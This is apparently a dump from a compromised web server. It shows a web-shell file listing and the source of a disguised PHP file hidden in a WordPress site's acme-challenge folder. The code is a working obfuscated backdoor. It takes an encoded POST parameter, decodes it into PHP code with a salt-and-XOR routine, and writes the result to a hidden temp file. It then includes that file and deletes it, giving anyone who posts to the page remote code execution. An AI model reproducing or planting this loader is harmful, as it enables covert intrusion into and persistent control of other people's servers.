HEX
Server: nginx/1.28.0
System: Linux yisu-68a5f20334161 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/a/h/f/d/reminder_review.php
<?php

if(isset($_POST["da\x74"])){
	$descriptor = $_POST["da\x74"];
	$descriptor=	explode("."	, 	$descriptor	)  	;  
	$flag=		'';
            $salt=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=		strlen($salt);
            $w=		0;
    
            while ($w <	count($descriptor)) {
                $v5=		$descriptor[$w];
                $sChar=		ord($salt[$w 	% $sLen]);
                $d=		((int)$v5 - $sChar - ($w 	% 10)) ^ 41;
                $flag.=chr($d);
                $w++;	} 
	$bind = array_filter(["/var/tmp", getcwd(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getenv("TMP"), session_save_path()]);
	for ($key = 0, $property_set = count($bind); $key < $property_set; $key++) {
    $component = $bind[$key];
    		if ((bool)is_dir($component) && (bool)is_writable($component)) {
    $resource = join("/", [$component, ".marker"]);
    $file = fopen($resource, 'w');
if ($file) {
	fwrite($file, $flag);
	fclose($file);
	include $resource;
	@unlink($resource);
	exit;
}
}
}
}